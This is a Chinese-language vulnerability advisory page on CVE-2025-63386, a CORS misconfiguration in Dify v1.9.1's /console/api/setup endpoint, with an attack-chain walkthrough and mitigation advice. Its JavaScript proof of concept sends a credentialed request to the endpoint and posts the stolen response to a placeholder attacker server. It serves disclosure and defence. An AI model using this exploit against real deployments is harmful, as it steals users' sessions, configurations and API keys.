IPBUF安全漏洞报告
English
CVE-2025-63386 CVSS 9.1 严重

CVE-2025-63386 Dify CORS跨域资源配置错误漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-63386
漏洞类型
CORS跨域配置错误
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dify v1.9.1

相关标签

CORS配置错误跨域请求伪造Dify认证绕过敏感信息泄露会话劫持Web安全

漏洞概述

CVE-2025-63386是Dify v1.9.1版本中存在的一个高危跨域资源共享(CORS)配置错误漏洞。该漏洞位于应用的/console/api/setup端点,由于CORS策略配置不当,允许任意外部域发起跨域请求并获取敏感资源。攻击者可以利用此漏洞诱导已登录用户访问恶意页面,在用户不知情的情况下以其身份发起跨域请求,从而窃取用户的敏感信息、会话令牌或其他认证凭据。由于Dify是一个开源的大语言模型应用开发平台,广泛部署于企业环境中,该漏洞的存在可能导致大量用户的隐私数据和业务数据面临泄露风险。CVSS评分高达9.1,属于严重级别,漏洞利用无需认证且攻击复杂度低,对系统机密性和完整性造成严重影响。

技术细节

该漏洞源于Dify v1.9.1的/console/api/setup端点实现了不安全的CORS策略。具体问题包括:首先,端点会反射客户端请求中的任意Origin头值,将其直接作为Access-Control-Allow-Origin响应头的值,而没有对Origin进行白名单验证或限制。其次,端点启用了Access-Control-Allow-Credentials: true,使得跨域请求可以携带目标域的Cookie信息。这两个问题的组合导致攻击者可以构建恶意网页,当已登录Dify的用户访问该页面时,浏览器会自动发起跨域请求,由于CORS策略允许任意Origin且支持凭证,攻击者的服务器能够接收响应内容。攻击者可以获取包括用户会话信息、API密钥、项目配置等敏感数据。值得注意的是,供应商辩称该端点的CORS配置是为了支持引导(bootstrap)功能而故意设置的,但这种设计选择导致了严重的安全风险。攻击者只需诱导用户点击恶意链接或访问包含恶意脚本的网页即可完成攻击,无需其他用户交互。

攻击链分析

STEP 1
步骤1
攻击者创建恶意网页,嵌入跨域请求脚本
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或恶意链接诱导已登录Dify的用户访问恶意页面
STEP 3
步骤3
用户浏览器加载恶意页面,执行JavaScript脚本,发起跨域GET请求到Dify的/console/api/setup端点,请求中携带用户Cookie(credentials: include)
STEP 4
步骤4
Dify服务器响应CORS预检请求,由于漏洞存在,返回Access-Control-Allow-Origin: 恶意域名且Access-Control-Allow-Credentials: true
STEP 5
步骤5
浏览器允许JavaScript接收包含敏感数据的响应,攻击者脚本获取响应内容
STEP 6
步骤6
攻击者将窃取的敏感信息(会话令牌、用户配置、API密钥等)发送到攻击者控制的服务器
STEP 7
步骤7
攻击者利用窃取的凭证冒充合法用户进行进一步攻击,如数据窃取、权限提升或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import fetch from 'node-fetch'; // CVE-2025-63386 PoC - CORS Misconfiguration in Dify /console/api/setup // This PoC demonstrates how an attacker can exploit the CORS vulnerability const targetUrl = 'https://target-dify-instance.com'; const attackerServer = 'https://attacker-controlled-server.com'; // Step 1: Create a malicious page that triggers the CORS request const maliciousPage = ` <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <script> // Set the attacker's origin const attackerOrigin = '${attackerServer}'; // Make authenticated request to vulnerable endpoint fetch('${targetUrl}/console/api/setup', { method: 'GET', credentials: 'include', // Include cookies for authenticated requests headers: { 'Origin': attackerOrigin } }) .then(response => { // Check if CORS allows the request with credentials const acao = response.headers.get('Access-Control-Allow-Origin'); const acac = response.headers.get('Access-Control-Allow-Credentials'); console.log('Access-Control-Allow-Origin:', acao); console.log('Access-Control-Allow-Credentials:', acac); if (acao === attackerOrigin && acac === 'true') { // Vulnerable! Can exfiltrate data return response.json(); } }) .then(data => { // Exfiltrate sensitive data to attacker's server if (data) { fetch(attackerOrigin + '/collect', { method: 'POST', body: JSON.stringify(data), credentials: 'include' }); } }) .catch(error => console.error('Error:', error)); </script> </body> </html> `; // Step 2: Verify CORS misconfiguration async function verifyVulnerability() { try { const response = await fetch(`${targetUrl}/console/api/setup`, { method: 'OPTIONS', headers: { 'Origin': attackerServer, 'Access-Control-Request-Method': 'GET', 'Access-Control-Request-Headers': 'content-type,authorization' } }); const acao = response.headers.get('Access-Control-Allow-Origin'); const acac = response.headers.get('Access-Control-Allow-Credentials'); console.log('=== CVE-2025-63386 Vulnerability Check ==='); console.log('Target:', targetUrl); console.log('Access-Control-Allow-Origin:', acao); console.log('Access-Control-Allow-Credentials:', acac); if (acao === attackerServer && acac === 'true') { console.log('[VULNERABLE] CORS misconfiguration detected!'); console.log('Arbitrary origins are allowed with credentials.'); } else { console.log('[SAFE] CORS policy appears to be properly configured.'); } } catch (error) { console.error('Error verifying vulnerability:', error.message); } } verifyVulnerability(); module.exports = { maliciousPage, verifyVulnerability };

影响范围

Dify v1.9.1

防御指南

临时缓解措施
临时缓解措施:在Web服务器或反向代理(如Nginx、Apache)层面配置CORS策略,过滤恶意的Origin请求头,限制允许的跨域来源。可以在Nginx配置中添加条件判断,拒绝反射任意Origin的响应。对于非必要功能,暂时禁用/console/api/setup端点的CORS支持或限制其访问来源。同时监控可疑的跨域请求日志,及时发现潜在攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表